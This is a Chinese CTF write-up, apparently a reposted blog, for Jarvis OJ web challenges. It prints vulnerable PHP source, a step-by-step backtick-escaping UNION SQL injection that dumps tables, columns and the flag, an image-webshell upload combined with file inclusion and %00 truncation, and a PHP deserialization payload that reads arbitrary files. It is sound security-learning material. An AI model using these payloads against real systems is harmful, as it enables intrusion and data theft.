jarvis

sqlite

记录一下一道注入题,源码如下

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

Filter是用户自定义的过滤函数,desc是sql语句,能降序输出信息
在这里插入图片描述
回到代码,如果table为空,则默认table=test,返回

在这里插入图片描述
table随便输个数=123

在这里插入图片描述
代码中的sql语句就是这样:

desc `secret_test` 
desc `secret_123`

就会显示secret_test表的信息,而当table=123,表变成secret_123,返回hello hack,那么显然就说明mysql中没有这个表,所以就调用了hack()这个函数

反引号是为了区别mysql中的保留字符与普通字符而引入的符号,例如单引号和双引号,例如

SELECT `passwd` FROM `user` WHERE username=''

我们要做的就是闭合反引号,而根据上面的回显,得出table的值应该先=test,然后再想办法进行注入

payload:table=test `` union select database() limit 1,1

在php中就是:

select 'flag{xxx}' from secret_test `` union select database() limit 1,1"

闭合了反引号,执行了sql语句

在这里插入图片描述
这里还要注意一下代码中的最后一行:所以注入语句最后需要加limit 1,1

echo $ret[0];

获取表

扫描二维码关注公众号,回复: 8756973 查看本文章
?table=test` `union select table_name from information_schema.tables where table_schema=database() limit 1,1

获取列

test` `union select group_concat(column_name) from information_schema.columns where table_schema=database() limit 1,1 

flag

test` `union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1

Easy Gallery

首先来到一个上传页面
在这里插入图片描述
使用burp抓包,弹窗

在这里插入图片描述
那么先试试上传jpg

在这里插入图片描述
发现response里显示了文件的内容为:text/html,跟我们伪造的image/jpeg无关,这应该就是检测了文件的内容,那么就尝试上传图片马,在cmd里输入命令

copy 1.jpg/b + 1.php/a 2.jpg  

为什么要用cmd命令生成图片马呢,因为之前尝试直接在图片后面添加一句话,然后上传,response会显示

在这里插入图片描述

他把整个文件当成了二进制流数据,所以我们要使用cmd命令把两个文件结合起来

在这里插入图片描述
上传成功后,到view页面

view
提交,得到图片路径。仔细观察一下两个页面的url

在这里插入图片描述
在这里插入图片描述
不难猜测page就是我们要包含的点,输入相应路径

在这里插入图片描述
看到了我们的图片后面被加了一个.php,想到了%00截断

在这里插入图片描述

in a mess

在这里插入图片描述
给一个常用的php函数漏洞绕过总结:传送门

神盾局的秘密

首页是一张图片,查看源码有个链接

在这里插入图片描述

跟过去,发现是一堆二进制文件

在这里插入图片描述

而且发现url里img的参数是base64编码,解出来是shield.jpg,访问,not found了,看来这里输出的不是图片,而是他的代码,那么我们也可以尝试访问index.php的base64编码,果然得到了源码

<?php 
	require_once('shield.php');
	$x = new Shield();
	isset($_GET['class']) && $g = $_GET['class'];
	if (!empty($g)) {
		$x = unserialize($g);
	}
	echo $x->readfile();
?>

发现还有一个shield.php,也尝试读一下

<?php
	//flag is in pctf.php
	class Shield {
		public $file;
		function __construct($filename = '') {
			$this -> file = $filename;
		}
		
		function readfile() {
			if (!empty($this->file) && stripos($this->file,'..')===FALSE  
			&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
				return @file_get_contents($this->file);
			}
		}
	}
?>

有源码就很简单了,构造

$a = new Shield('pctf.php');
echo serialize($a);
//得到O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

把得到的值传过去就ok了

发布了22 篇原创文章 · 获赞 0 · 访问量 866

猜你喜欢

转载自blog.csdn.net/chasingin/article/details/102986062